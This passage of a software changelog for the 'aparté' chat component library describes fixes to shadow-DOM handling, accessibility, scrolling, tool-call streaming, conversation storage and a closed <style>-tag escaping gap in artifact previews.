<aparte-conversation-list>takesmanageas a property, so bindingfalsefrom a framework turns the writes off; and its delete confirmation reports as a dialog instead of two plain buttons inside a menu. Nothing to change on your side, unless a selector of yours pins that confirm step to[role="menu"]: while it asks, the popover is[role="dialog"], so anchor on[data-menu-action="confirm-delete"]instead.manage={false}used to mean on.manageis the attribute that authorises the list to write — rename, pin, archive, delete, through the registered conversation manager — and it was attribute-only. Vue and both Sveltes stringify a bound boolean onto an element with no property of that name, somanage={false}wrotemanage="false", whichhasAttributereads as set: a gesture the host meant to handle itself was also finished by the list. The property is the fix,presenceOnlike every other boolean in core (''is on,falseandundefinedare off) — the same protectionloadingalready had. React 19 and Angular were never affected; they remove the attribute forfalsethemselves.The confirm step is a dialog. A
role="menu"may hold menu items and nothing else, and the delete question’s two answers are ordinary buttons — axe reads that as a criticalaria-required-childrenviolation, in a state one click away, on the element the accessibility guide offers as the pattern to copy. While it asks, the popover now carriesrole="dialog"and the question as its accessible name; it is a menu again the next time it opens.role="menuitem"on a destructive confirm would have been the cheap answer, and a question with two answers is not a menu. The keyboard is unchanged: the arrows,EscapeandTabbehave exactly as before, and Cancel still takes the focus.@aparte/core -
ba9baa1: Sending, retrying and editing, the menus and their keyboard, the sidebar toggle, the split panes and the selects now work when you mount a chat inside your own shadow root. Nothing to change on your side.
The send.
AparteClientresolves the chat a send belongs to by lookup — the id the composer names, then a walk up from the event, then a scan of the page — and all three read the document, which cannot see into a shadow tree. A chat mounted in one therefore had its send dropped with a warning; and on a page that also holds a chat in the light DOM, the scan answered with that one, so the person’s message AND the model’s reply appeared in a transcript they never typed into. The lookup now searches the tree the gesture came from first (composedPath()), then the document, and the walk crosses the boundary instead of stopping at the shadow host.aparte-retryandaparte-editshare that resolver, so they went the same way and are fixed with it. If you worked around this withtargetResolver, it also takes the<aparte-chat>shell now — it used to require the element itself to exposeappendMessage, sotargetResolver: () => root.querySelector('aparte-chat'), the obvious call, was rejected.Four handlers listen on
document— the conversation row menu’s outside-press,[data-aparte-sidebar-toggle],[data-aparte-split-pane]and the select’s close-on-outside-click. An event that leaves a shadow tree is retargeted, soevent.targetread as the shadow HOST, and each of the four asked “was this inside me?” of the wrong element and got no. The row menu closed on the press, so no item could be chosen; the sidebar toggle and the pane buttons did nothing; a select shut its own dropdown on the click that opened it. All four now readcomposedPath(), which names the node that was actually hit.Two lookups went the same way. A toggle or a pane button that names no element resolves the one beside it, and it did that through
document.querySelector, which cannot see into a shadow tree: it found nothing, or found the sidebar you also have in the light DOM. Both now look in the control’s own tree first.document.activeElementretargets for the same reason, so “which item holds the focus?” answered nothing for every element in the tree. The drawer’s Tab trap and the select’s “is the caret in the filter field?” already read the focus from the tree they are in; the conversation row menu’s arrow keys, the focus a re-render of the rows puts back, and the scroll rail’s arrow keys now do too —pinwas unreachable by keyboard, the keyboard landed on<body>after a rename or a delete, and the rail’s arrows were a silent no-op.Only the behaviour crossed badly. The stylesheet already declared its tokens on
:hostfor this arrangement, and that half worked.@aparte/core -
dbd64b2: A retry no longer writes the superseded reply’s tail into the new bubble, a stored conversation continued under React/Vue/Svelte/Angular comes back in the order it was written, and
⋯ → Deleteon a conversation row can be confirmed again. Two things to know:loadingset as a PROPERTY now follows core’s presence convention (el.loading = ''turns the wait ON, asloading=""always did in markup — it used to turn it off), and a binding that providesonLoadingChangenow owns the viewport’sloadingattribute outright, because the host writing it too made a wrapper draw a skeleton over a transcript the attribute said had arrived.What was wrong, all reproduced by the audit of 2026-09-05.
Turns crossing. The viewport resolved the 1-argument streaming convention (
addSegment(segment)) by scanning the ACTIVE PATH for the streaming message, and a retry on an earlier bubble takes the reply being written off that path — so the rest of it was appended to the message that had just replaced it. The scan reads the whole tree now (resetHeadalso stopped moving the head out of a branch it did not touch). The same trigger from the other side:aparte-message-abortedfor the superseded turn carries ITS message id, and neither the chat host nor the composer compared it — one turn’s unwind turned Stop back into Send mid-stream, evicted the open approval panel, and put retry, edit and the branch arrows back on every bubble while a reply was still streaming. Both compare the id now.Conversations under a framework. The controller handed a stored list to the framework’s own message list and nothing else, so the viewport’s tree — what
exportTree()saves — never held the history: the follow-up became the root of a fresh tree and the history was appended after it, so the saved conversation read [new turn, old history] and the next open restored exactly that. And a segment streamed before the framework had painted its bubble went into the PREVIOUS reply’s bubble (the host wrote to “the last bubble on the page”), which then showed the samedata-segment-idtwice; it waits for its own bubble now, andsyncBubblespaints it.A conversation restored from a tree now gets the same markdown grammar as one restored from a flat list:
importTreeskipped the parser, so on every conversation that had ever persisted a tree, a fence came back as bare prose instead of a code card. The segments core derives that way are marked (APARTE_DERIVED_SEGMENTS, a non-enumerable symbol) so merely opening a conversation does not count as changing it.The conversation row.
⋯ → Deletewas unreachable: replacing the menu with the confirmation removed the item holding the focus, the browser blurred it, and the list read that as “focus left the menu” and closed it — so nothing could be deleted, by mouse or keyboard. The question now takes the focus before the items it replaces are removed. Enter on a row also left the focus on<body>(the re-render replaces every row); it lands back on the row.Smaller.
<aparte-select>opens on one click after a framework has moved it — each re-parent used to add another trigger listener, so a click toggled twice and the control looked dead, and a mutation observer leaked per connect. Two chats sharing one config no longer share one elicitation queue, where an unanswered approval in the first held the second’s question for ever.<aparte-chat>installs its loading gate when the viewport ARRIVES, not only when it was there at connect (a framework renders its children after the host).clearAll()releases the attachment URLs on every branch, not just the active path. And the tworole="status"waits are inserted empty and named a frame later, so a screen reader hears a change rather than a new node.@aparte/core -
54bac2c: Split storage (
loadMeta()+loadFull()) no longer loses messages, and the controller’s wait always ends. Two things to know:manager.ensureFull(id)now resolves a boolean (falsewhen the store has no such record, and the row then does NOT count as loaded), andupdateMessages()on a conversation whose messages are not in memory is refused with a warning instead of writing an empty transcript over the stored one.What was wrong, all reproduced by the audit of 2026-09-05: a rename, pin or archive of a conversation the user had not opened wrote the row back with the
messages: []the list came with — the stored messages gone (the adapter’srename()hook was never called; it is now, and without a hook the messages are fetched first); a message sent to such a row did the same; switching conversations while a reply streamed persisted the emptied binding into the conversation being fetched;addMessage()andupdateMessages()read a snapshot, awaited the title provider, and wrote the snapshot back, destroying a reply that had landed meanwhile (with@aparte/plugin-titlerthe await is a model load, exactly while the first reply streams); “New chat” during a fetch, or a switch to an already-loaded conversation, left the viewportloadingand the composer disabled for good; deleting the conversation being fetched did the same; a failing or emptyloadFull()left an emptied binding active, which the next send wrote back;loadFull()answering with another conversation’s id showed its messages under the wrong title; a secondinit()remembered what the first had fetched and opened it empty; a conversation created while the list was on its way vanished from it; a list repeating an id made every write hit twins; asave()that threw on the first send left the session with no active conversation; a title auto-derived after retention trimmed the history came from the wrong message; and a conversation merely opened and left was re-saved and floated to the top of the list, because the segments the viewport derives from a reply’s markdown counted as a change — they are marked now (APARTE_DERIVED_SEGMENTS, a non-enumerable symbol) and ignored by the comparison.@aparte/core -
5581be9: The bubble-shell contract lists the five hooks it was missing, and a custom shell now gets
role="article"and its accessible name from the bubble itself.Nothing to change. A shell you already wrote gains the role and the name with no edit. If you wrote one from the old list you are probably missing something, and the new list says what — including the three spans the waiting region needs to draw anything.
AparteBubbleShellRendererenumerated eight class hooks; the bubble looks for more than that. A shell copied from it dropped.aparte-message-content(the painted content box, which the bubble hides when the turn has nothing to show),.aparte-waitingwith its.aparte-sr-onlylabel,.aparte-footer, and.aparte-branch-status.Two of those fail with nothing on screen to say so, and the contract now names them: without
.aparte-waitingthere is no “thinking” state at all between the send and the first token, and without.aparte-branch-statusa screen-reader user gets no word that the branch moved — the arrows deliberately do not take focus, so nothing else announces it. The list is also in render order now, and a test builds a shell out of it, so a hook that leaves the documentation goes red..aparte-waitingneeded a second clause, because listing it was not enough: the bubble only SHOWS and HIDES that region — the markup that paints is the shell’s. A.aparte-dotsspan holding three.aparte-dotspans is what the stylesheet animates, so a shell built from the old bullet had a thinking state only a screen reader could perceive, and the region was literally not visible. The contract says so, this repo’s own documented shell renders the spans, and the test counts them.ARIA is the one thing the list does NOT ask of you. The bubble writes
role="article"and the accessible name onto your root after your shell renders — so every shell that exists gains an article and a name with no author action — unless the root already declares arole, which is how you override it. A markup contract that also demanded arolewould lose it the first time somebody forgot one, silently, which is exactly what had happened.One containment is load-bearing and is now stated:
.aparte-message-contentHOLDS.aparte-segments,.aparte-contentand.aparte-waiting. The background, radius and padding of a user message are declared on that box, so a shell that renders the three as its siblings keeps every behaviour and loses the bubble. The contract also names the two classes that carry the default layout and nothing else —.aparte-bodyand.aparte-header— which the bubble never queries, so a shell laid out differently can drop both.@aparte/core -
a9784fa: The centred composer glides to the bottom when a conversation opens, the way it already glided back up when a new one started. Nothing to change on your side; if you styled
aparte-chat[center-empty][data-empty]or.aparte-chat-container--auto-center[data-aparte-empty]for theirjustify-content, that declaration is gone — the centring is a spacer now.Measured on the chat site, the top of the composer sampled every 40 ms: a new chat glided 816 → 494 px over about 300 ms, opening a conversation snapped 494 → 816 in one frame.
center-emptyanimated the viewport’sflex-grow, but the viewport also carriesheight: 100%for the scroll chain, and the moment the empty state dropped that height applied at once, leavingflex-grownothing to animate. The other direction removed the height, soflex-growdid the sliding.Under both centring modes (
center-emptyon<aparte-chat>,centerWhenEmptyon the wrappers) the viewport now keeps one size rule,flex: 1 1 0%and no height, and the centring is a::afterspacer after the composer whoseflex-growis 1 while the chat is empty. Only the spacer animates, in both directions. The empty group sits between two equal halves, so the 32 px the empty viewport used to add no longer shifts it, and the first-paint reservation (:not(:defined)) grows the same spacer. Underoverlay-composerthe spacer does not animate: the first message takes the viewport out of the flow, and a spacer still shrinking would drop the composer from the top of the column — the overlay’s composer snaps to the bottom, as it always did.@aparte/core -
3f01fb4: The composer toolbar wraps, so a second control is no longer pushed off the composer on a phone.
Nothing to change. A row that already fits looks the same; one that does not now puts the overflowing control on a second line instead of past the edge.
aparte-selectsets amin-widthon its host — a hard floor, so a select in a flex row cannot shrink — and the arrangement we document puts two of them in this row: the approval switch (@aparte/plugin-approval’s own example says “beside the model selector, in the composer’s toolbar”) and the model selector. That is 400px of controls in a row the toolbar did not wrap.Measured in Chromium at 390px, the width our responsive suite calls a phone: the model selector’s right edge sat at 449 against a 390px viewport, and the page did not scroll to it — an ancestor clipped it. The model picker was unreachable, not merely ugly, and RTL mirrored it exactly at x=-59. The row is the fix rather than the example markup: a documented arrangement that needs an inline
styleto work is a missing knob.An end-aligned control keeps its
margin-inline-start: autoand lands at the end of the line it is on.@aparte/core -
5581be9: The custom-segment example now shows what actually happens: one renderer for
type: 'custom'that switches onsubType.Nothing to change — this is the documentation catching up with the code.
The old
@exampleonAparteCustomSegmentsat under the sentence “with no renderer registered forsubType, core drawsfallback”, which reads as if the registry lookedsubTypeup. It does not:registerSegmentRendererkeys ontypeand only ontype. An author who registered a renderer for'weather-widget'saw nothing render, with no error to explain it.So the example is now the whole shape — one renderer for
custom, aswitchonsubType, andfallbackas the default branch — and it says the other half out loud: an independent view takes its owntype(register achartrenderer for a chart), andcustomis for a family of small views an app would rather keep behind one key. The example is executed by a test, so the two cannot drift.@aparte/core -
dbd64b2: The model picker now works with
new AparteClient({ keyResolver })alone, and a key provider may return{ apiKey, endpoint }so the model list follows your endpoint. Nothing to change on your side;aparteGlobalConfig.setKeyProvider()behaves as before, andAparteConfig.registerKeyProvider(provider)is new if you want to add a key source of your own.Two channels carry a provider’s credentials, and
refreshProviderModels— the model selector’s only data path — could see neither properly.keyResolveris what the providers guide teaches (“you hand it to each request viakeyResolveronAparteClient”), withsetKeyProvidercalled an alternative, and nothing told you to call both. But the resolver reached the chat only:refreshProviderModelsreadconfig.getKeyalone, sofetchModelswas called withundefinedand returns[]for every cloud provider. An empty picker, a working chat, and no warning — it read as “the vendor returned nothing”. The client now registers its resolver ON the config, so the capability is not hostage to the client (a page that constructs none still lists models), and one resolution order answers both questions: a registered resolver first, thensetKeyProvider— the precedence the client already documented.AparteKeyProviderwas typed as returning a string, so the{ apiKey, endpoint }record the transport reads andfetchModelsaccepts could not travel on it. A consumer who points a preset at their own host — a corporate proxy, a self-hosted vLLM, an LM Studio box on another port — configures it asendpoint, and the chat honoured it while the model refresh sentGET {vendor default}/modelscarrying the key that host had been given. It travels now, on both channels.@aparte/core -
d873d93:
<aparte-scroll-rail>no longer rewrites itsaria-labeland the current tick’saria-currenton a reconcile when their values did not change. Nothing to change on your side.A reconcile runs on every mutation of the transcript, and an attribute written to the value it already has is still a DOM mutation: a mutation observer on the rail sees it, and so does an assistive technology watching the tree. CI’s WebKit measured it — a late host mutation after the last reply settled ran a reconcile that rewrote both attributes, unchanged, inside the window where the rail is meant to hold still. Both writes are now conditional, the way the ticks’ labels already were.
@aparte/core -
e9c910c: A focused scroll-rail tick draws its keyboard ring on all four sides, inset by the ring’s own width. Nothing to change on your side; if you had re-declared
outline-offseton.aparte-scroll-rail__tick:focus-visible::beforeto work around the clipping, drop it.The ring is drawn on the
::beforethat computes the tick’s 24x24 pressable zone, and that zone is not merely near the rail’s clip box — it is the clip box: the rail is exactly--aparte-scroll-rail-widthwide with no inline padding, the zone is anchored to both of its inline edges, and the rail’s block padding puts the clip line on the first and last zone’s edge.outlinepaints outside the border box, so at the shared0offset both verticals fell into whatoverflow-x: hiddencuts, and the end ticks lost a third side. Measured on a page with the ring colour forced: 44 painted pixels on a middle tick, two detached 16px hairlines 24px apart with nothing marking the tick itself, and 26 on the last one. Offsetting inward by--aparte-focus-outline-width— the same idiom the conversation row and the image thumbnail already use, each for a clip of its own — paints 64, both verticals included.@aparte/core -
5581be9: The thinking block reads
--aparte-thinking-bgand--aparte-thinking-content-bg; both default totransparent, so nothing changes on screen.Nothing to change. If you set either token, it now does what its name says.
Both were declared and read by nothing: the reasoning block hard-coded
background: transparenton the rail and on the panel, so a theme that set either one was setting a decoration. Wiring them without moving a pixel is the whole point — the default is exactly the value the two rules used to hard-code, which is also why the two declarations move from the derived layer to the literal palette (transparentis a literal, not something derived from a master).aparte-chat {--aparte-thinking-bg: var(--aparte-surface-2);--aparte-thinking-content-bg: var(--aparte-surface-1);}That turns the understated left rail into a filled card, which is a look, not a default.
The panel’s token is read on ONE class, and that matters if you style the panel yourself. It first shipped as a two-class rule (
.aparte-segment-thinking .aparte-thinking-content) so it would beatprose.css, which is imported last — and it beat the one-class.aparte-thinking-content { background: … }a consumer may already have written just as well, with nothing on screen to explain it.prose.cssreads the token itself now: same pixels, one specificity, your own rule wins again.@aparte/core -
1200563: In Safari and every other WebKit browser, a framework-rendered transcript stays anchored at the bottom when a streamed reply finishes; it used to end up 80px short with the follow switched off. Nothing to change on your side, unless you had set
overflow-anchoron the transcript yourself.The viewport pins the reader to the bottom itself and reads a
scrollTopdecrease it did not write as the reader walking away. Whether a decrease was the reader’s used to be decided by its size alone — no larger than the height change seen at that scroll event — and WebKit’s settle refutes that: between two layouts of a finishing reply it movesscrollTopby more than the regrown height explains (82px against 30, once 27px against nothing), one frame after the viewport’s own pin. Three signals decide now. The reader’s hand: a scroll gesture leaves a trace (wheel, touch, a press in the scrollbar gutter, a scroll key), and a press on the text that drags a selection past the edge holds the pointer while the container scrolls. The churn, as before: a decrease no larger than the height change is the layout’s. And the settle: a decrease of at most 100px within 100ms of a transcript mutation the viewport observed is the engine finishing that layout, and the follow stays armed and re-anchors. A host’s ownscrollTo, or a tool’s scroll-into-view before a click, comes with no mutation or moves by far more, and still disarms the way a reader does. The browser’s own scroll anchoring is also off on both scroll surfaces: a chat appends below the reader, so it protected nothing there and only fought the pin.@aparte/core -
e9c910c: Transcript text aligns to the reading direction instead of the left edge, so an RTL page gets right-aligned messages. Nothing to change on your side unless you had overridden
aparte-chat-viewport { text-align }to get this.aparte-chat-viewportdeclaredtext-align: left, andtext-aligninherits: that one declaration reached every message, segment and paragraph below it. It could not lie while core wrotedir="ltr"onto its own DOM; now that the direction follows the host, an Arabic transcript came out mirrored with every line still hugging the left edge — lists indented on the right, the blockquote rail on the right, the prose left-aligned between them. It istext-align: startnow. The suite that swept the sheets for physical edges readstext-align: left|rightas physical too, across the whole corpus rather than the four sheets it had named.@aparte/core -
595ec0b: The four wrappers show a conversation on its way: a
loadingprop (an input in Angular) draws two skeleton turns in the transcript, keeps the empty state off and disables the composer until the messages land — and the conversation controller sets it by itself while it fetches through your adapter’sloadFull(). Nothing to change unless you want a wait of your own: passloading.Core’s host binding gained
onLoadingChange?(on): the controller’s wait, forwarded beside the viewport’sloadingattribute, so a wrapper that renders its own DOM can draw it. Underframework-managedthe viewport itself draws no skeleton any more (a<div>prepended into a host React reconciles is one React did not render); it still sets the attribute andaria-busy. And the viewport’s status line for a screen reader is now a sibling of the skeleton, not a child of it — inside anaria-hiddenbox it was hidden too.Svelte sets the viewport’s
loadingattribute imperatively too: under Svelte 5 a template attribute on an element that has a property of that name is set as the property, and''through the setter read as false — the attribute never appeared, which the Svelte 5 example caught (Svelte 4 set the attribute).@aparte/core -
6e57533: A forced
toolChoiceis now sent on the first turn only; the turns after it go out as'auto', so the run ends with an answer instead of the turn limit. Nothing to change on your side.The request is rebuilt from
baseRequestevery turn, and only the synthetic{ name, input }shape stripped itself. A plain{ name }— the shape a consumer sets to force a tool — therefore travelled again after the tool had already answered: the model was made to call it once per turn untilmaxTurns, so a forced tool ran ten times and the run reportedturn-limit-exceededrather than replying.Forcing a tool is a turn-1 instruction and the loop is the only thing that can lift it, so the loop lifts it: any object
toolChoiceis dropped from the base request after the first transport call.@aparte/engine -
6e57533: A Stop stays a Stop when the transport’s iterator throws on the way out, however it throws. Nothing to change on your side.
Settling the iterator was guarded with
.catch(), which only ever sees a rejected promise. A hand-written iterator — the likely shape when a host drivesrunStreamAgentwith a transport of its own — throws synchronously, before there is a promise to reject, and one whosereturn()gives a plain object has no.catchat all. Either way the deliberate stop came back to the caller as a thrown run error, and core paints an error card over the reply the user had just stopped.Both settle sites (the abort bail and the per-turn
finally) now usetry/catch, which covers all three shapes.@aparte/engine -
6e57533:
onHistoryAppend’s documentation now says which fields of the assistant turn carrying a tool call are filled in after you are notified, and what a host that writes bytes at receipt should do about it. Documentation only.The option exists for a host that owns its own transcript — a prefix cache, an append-only log — and the docblock said to hold the reference rather than a snapshot, justifying it with the turn’s later
toolCalls. Since the loop re-reads that turn’s text at the turn’s end (a provider that emits a tool call before the rest of its sentence), an append-only log, which by definition serialises at receipt and cannot hold a reference, was told to do the one thing it cannot.The paragraph now names both late fields and says to treat that turn as provisional until the last
toolmessage of the turn.@aparte/engine -
7802512: Two tool calls that arrive with the same id in one turn get one row and one history slot each; text streamed after a tool call reaches the history; and a Stop stays a Stop when the transport’s iterator throws on the way out. Nothing to change on your side.
A call id is an identity downstream — the transcript keys a segment on
tool-${id}andupdateSegmenttakes the first match, and the history files atoolmessage undertoolCallId. A provider that repeats one (a vendor omittingidproduced''for every call) therefore wrote the second call’s result onto the first call’s row, and left a pair no OpenAI-shaped endpoint can match on the next turn. A repeat is renamed rather than refused — the model asked for both — and the rename happens once, before the first emit, so the row, the handler, the approval and the history slot all name the same call.The assistant turn that carries the calls snapshotted its own text when the first call was declared, and a turn can go on streaming afterwards. A provider that emits
[tool, text]in that order (@aparte/provider-scenariodoes;openai-compatflushes its calls at the end of the stream and so cannot) showed the user a sentence the model never saw again. The envelope is re-read at the turn’s end, the way itstoolCallsarray already was.The abort path settled the transport’s iterator without the
.catch(() => {})thefinallyuses, so a host driving the loop with an iterator of its own turned a deliberate Stop into a thrown run error — and core paints an error card over the reply that was just stopped.@aparte/engine -
7802512: The AI SDK stream is told to stop on every exit, not only when the consumer cancels. Nothing to change on your side.
cancel()callsiterator.return()precisely so the vendor call stops instead of draining to its natural end after the consumer has walked away. The two in-band terminals,finishanderror, returned straight out of the loop and skipped it — so after an error part the call was left running exactly where the bridge was written to end it.@aparte/provider-ai-sdk -
b5b103d: A message still carrying the old
'tool_call'or'tool_result'role is skipped with one console warning that names the new shape; the warning goes away in 0.18. Only code that builds anAparteChatMessage[]by hand — ahistory:function, arequestInterceptor, a mirror ofonHistoryAppend— can be affected, and the warning tells it exactly what to write.AparteChatMessage.roleno longer allows either value, so this is code compiled against an older aparté reaching a newer provider — the one case a type cannot catch. The two mappers used to fail differently and both badly: the OpenAI-compatible adapter put the unknown role on the wire, where it is a 400 for the whole request, and the AI SDK bridge let it fall through to auserturn, so the model read a tool result as something the person had typed. Each mapper now warns once per role and skips the message. A warning is not an alias: it does not make the old shape work, it names the new one.@aparte/provider-ai-sdk,@aparte/provider-openai-compat -
6e57533: A tool call a server addresses by
indexin one chunk and byidin the next is one call again, and a minted id can no longer collide with the server’s own. Nothing to change on your side.The parser picked ONE key per delta —
indexwhen it was there,idotherwise — so a vendor that used both, one at a time, produced two calls: the first with the name and no arguments, the second with the arguments and an empty name. The turn ran the tool on{}and then held a call it could not answer, so the reply came back blank. Both are addresses, not identities: a delta’s keys are now aliases that resolve to the same accumulated call, and whichever key is already known names it. When a delta carries only addresses the parser has not seen yet, its function name decides — a name appears only on a call’s first delta, so a nameless delta continues the call before it and a named one opens its own. That covers the vendor whose chunks never carry both addresses at once, in either order.The id minted for a call a vendor sends without one reads
aparte-call-1rather thancall_1, which is what an OpenAI-shaped server calls its own first call: a turn mixing an id-less call with a realcall_1used to mint a duplicate of it.@aparte/provider-openai-compat -
7802512: Parallel tool calls survive a server that omits
tool_calls[].index, a call with noidgets one, and a forcedtoolChoice: { name }reaches the endpoint instead of being downgraded toauto. Nothing to change on your side.indexwas the accumulation map’s only key, and it is a streaming convenience rather than part of the function-call payload — plenty of compat servers leave it out. Every call of such a turn landed on slot 0: the secondidandnameoverwrote the first, the two argument strings concatenated into non-JSON, and the turn ran ONE tool on{}while the model was told it had two answers. The only trace was a console warning naming “malformed arguments JSON”, which reads as the model’s fault. The key is nowindex, elseid, else the function name — which in this format appears only on a call’s first delta, so a nameless chunk still continues the call before it.An id is minted (
call_1,call_2, …) when the vendor sends none; a real id arriving in a later chunk still wins.id: ''used to travel, and downstream it is an identity: the transcript keys a row ontool-${id}and the history files a result undertoolCallId, so two id-less calls in one turn shared one row — the second call’s result was written onto the first call’s line — and one history slot an OpenAI-shaped endpoint rejects on the next turn.tool_choicewas written as'auto'unconditionally whenever tools were present.{ name }is a shape the agent loop passes straight through (it intercepts only{ name, input }, the synthetic call it runs itself), and the ai-sdk bridge has always honoured it, so the same request forced a tool on one provider and not on this one.@aparte/provider-openai-compat -
e573758:
createScenarioProvidernow warns about a tool with noafterroute even when you pass amatchof your own. Nothing to change in your code — when amatchis present the warning ends with this line is the one to ignore, because amatchthat routes the tool result by value (the documented branching shape) does not loop.The warning exists because a
whenscenario that calls a tool, with nothing answering the result, loops: the default rule sends the tool result back through the samewhen, round after identical round, until the client’smaxTurnsstops it.Passing
matchused to switch that warning off, on the premise that a custom rule replaces the default one. It does not replace it, it precedes it — the pick readsmatch(request, scenarios) ?? defaultMatch(request, scenarios)— so amatchthat returnsundefinedfor a tool result, which is exactly what the documented and in-repo examples write, lands right back on the rule the warning protects. The exemption was silencing the shape most likely to need it.@aparte/provider-scenario -
7802512:
turnsdocuments that its cursor belongs to the provider, not to a chat. No behaviour change.Two chats registered against one provider take turns from the same script and interleave it — chat A gets
turns[0], chat Bturns[1]— because a request carries no conversation identity to key a cursor on. The JSDoc now says so and names the two ways out: a provider per chat (createScenarioProvideris cheap and takes anid), orscenarios, which answers from the request itself and has no cursor at all.@aparte/provider-scenario -
029c44b: The showcase scenario answers “ship it” with a four-step tool chain — search, read, write, run — so a multi-tool turn can be seen. Register
search_docs,read_file,write_fileandrun_commandif you want the chain to resolve; unregistered tool names abort the call, exactly asget_weatherandask_useralready did.Every other scenario calls ONE tool and answers its result, so the turn a real agent produces — several calls in a row, each feeding the next — was the one shape nothing in this repository could show. It is what a transcript has to survive: five rows stacked in one bubble, an approval decision landing in the middle of them, a refusal cutting the rest of the turn.
Each tool in the chain carries its own
after:route (releaseRead,releaseWrite,releaseRun,releaseDone), because a tool whose result is not routed falls back through thewhenthat started the chain and the conversation eats its own tail — the warningcreateScenarioProviderprints at creation.@aparte/provider-scenario -
7d009cf: A binary attachment now warns instead of vanishing;
AparteFilePartis removed — aparté inlines images and text files only. If you referencedAparteFilePart(or engine’sStreamFilePart) in your own types, drop it:AparteContentPartis text or image.Nothing ever produced a file part. The client inlines images and recognized text files and returned
nullfor everything else, and both wire mappers answered the type with an empty text part — a branch no message could reach. What the type did do was promise a consumer that attaching a PDF sent it, while the chip stayed on screen and the model answered as if nothing had come with the message. That promise is now a warning at the one place the file is really dropped, once per file, naming the file and its type; the chip is untouched, so your own upload or RAG layer still sees it on theaparte-sendevent.The two-arm union also empties the third mapper’s fallback: the vision runner counted “content parts this runner cannot carry” and warned about them, over a branch no message could reach. The count and its warning are gone, the same way they went from the two wire mappers.
@aparte/provider-transformers -
c0f362b: A local runner now says when it dropped a tool call the assistant made, not only the tool result that answered it, and the vision runner counts a content part it cannot carry instead of failing at generate time. Nothing to change on your side; you get one warning where you used to get none.
Neither built-in runner can carry a tool turn — the wire syntax for one is model-specific — and both have always said so. Now that a call rides on an
assistantmessage rather than a role of its own, the call passes the runner’s role test: a turn where the model said nothing before calling was then dropped by the emptiness check below it, in silence, which is the exact defect the warning exists to prevent. Both runners count such a turn, and the shared message names both halves — the call the assistant made, and the result that answered it.The message says one thing more precisely than it did. What is dropped is the CALL and its result; what the assistant said before calling is still in the prompt, because that sentence rides on the same
assistantmessage and passes the role test. “Dropped tool turn(s) from the prompt” read as if the whole turn left, which had stopped being true.On the parts axis the vision runner had no guard at all. Its content loop was
textor else an image, so afilepart — removed fromAparteContentPart, and still reachable from an app built against an older aparté — was pushed into the image list asundefinedand reachedload_image(undefined), failing the turn at generate time. It is counted and named now, the way the wire mappers already guard the removed tool ROLES: same class, same treatment.@aparte/provider-transformers -
7802512: Preparing a second model no longer disposes the pipeline a reply is streaming from, two
prepareModelcalls in the same tick no longer leave two models resident, and the cache budget will not evict weights a generation is reading. Nothing to change on your side — aprepareissued during a stream now waits for it instead of interrupting it.prepare,generateandcommandall go throughensureRunner, which disposes the previous runner when the model or runner key changes, and the worker ran them concurrently. Picking another model while a reply streamed — the documentedTransformersProvider.prepareModel, which was on no chain at all whererunnerCommandis explicitly queued — therefore calleddispose()on the ONNX session the runningpipe(...)was executing. And two prepares issued before the first resolved both observed no resident runner across the three awaits, so the second orphaned the first: two multi-GB models in one tab, the older one unreachable for cleanup, which is the exact failure the “one pipeline per tab” rule exists to prevent. All three now share one promise chain in the worker, the way the main thread already chains its generates;cancelstays immediate, since its whole job is to reach the generate running now.The cache budget fires on
pipeline-ready, i.e. when ANOTHER model finishes loading, and kept only that model — so it deleted the files of the model that was answering, anddeleteCachedModelterminates the worker when that model is the loaded one. A model with a generate queued or running counts as in use.@aparte/provider-transformers -
6e57533: Stop now reaches a reply that is still queued behind a model load, and a token the worker emits after a Stop no longer lands in the stream. Nothing to change on your side.
The worker created a generate’s
AbortControllerwhen the queue reached that generate. Acancelarriving earlier — whileprepareModelwas still downloading another model, which can take minutes — found nothing to abort, so once the load finished the stopped reply started anyway and streamed to the end. The controller is now registered when the message arrives, and a generate cancelled before it starts never loads a model; it answersgen-done, which is what releases the queue slot.The main thread kept the stream open after posting the
cancel, waiting for the worker to answer, so a token already in flight was enqueued into a reply the user had ended. The stream is closed at the Stop instead — withdone, since a stop is not a failure — and the worker’s owngen-donestill releases the slot. On the non-streaming path (chat({ stream: false })) that means a Stop after the request has reached the worker resolves with the text produced so far, where a Stop before it still rejects withGeneration cancelled before it started.@aparte/provider-transformers -
4a73996: A CSS artifact can no longer close its own
<style>and run a script, the binary preview is sanitised by the config of the chat it is mounted in, and a card’s tab ids are unique per card. Nothing to change in your code.The
csspreview only styles.<style>is raw text to the HTML parser exactly like<script>— it ends on</stylefollowed by whitespace,/,>or end-of-input, whatever the CSS tokenizer thinks — and thecsskind interpolated the model’s body into it unescaped while the siblingjskind ran its body throughescapeClosingScriptTag. So a stylesheet artifact could break out of its wrapper and open a<script>, on the one previewable kind whose whole promise is that it only styles. The containment always held (opaque origin, noallow-same-origin, andPREVIEW_CSPapplied both as thecspattribute and as a<meta http-equiv>), so this was the gap between what “preview this stylesheet” promises and what it does. A closing-</style>escaper now mirrors the script one.The binary preview reads the element’s config.
previewMarkupresolved the ambient config, which from the promise callback that swaps the preview in is the global one long after the render — so a chat with its ownAparteConfigthat registered DOMPurify throughsetHtmlSanitizerhad that policy silently skipped at the one sink that puts app-supplied HTML on the page, and its locale skipped at the sentence beside it. Both callers already held the right config; it is passed in now. It failed safe before (the global default is core’s own allowlist), which is why nothing showed it.A card’s tab ids come from a counter, not from the model. They were built from
segment.id, and for a tool-call segment that istool-${toolCallId}— the id the model chose. Two calls answering to the same id put two cards on the page wearing the sameidand the samearia-controls, sogetElementByIdreturned whichever parsed first: exactly the collision the scoping was introduced to prevent, and the DOM-clobbering shape core’s sanitizer already refuses on model markup.@aparte/plugin-artifacts -
913969b: The empty-preview line is readable on the artifact card’s paper in the dark theme, the error panel’s dark wash now also reaches a system-dark reader who sets no attribute, and the error heading takes the error ink again. Nothing to change on your side. New knob if you re-skin the paper:
--aparte-art-paper-text-muted, declared beside--aparte-art-paper-bg/-textand mixed from them.The preview pane forces the light paper on purpose — an artifact preview is a DOCUMENT shown inside the chat, the way a PDF viewer shows a white page in a dark editor — and the empty-state line inside it reached back into the theme for
--aparte-text-muted. In the dark theme that is#a89bb6, on#fff: 2.62:1, under 4.5 and under 3. It takes the paper’s own muted ink now, so a consumer who re-declares the paper moves it too. (.aparte-art-file__error-hintwas checked and is not the same case: it sits on--aparte-error-bg, where the same colour measures 6.14:1.)The sheet’s one dark rule was
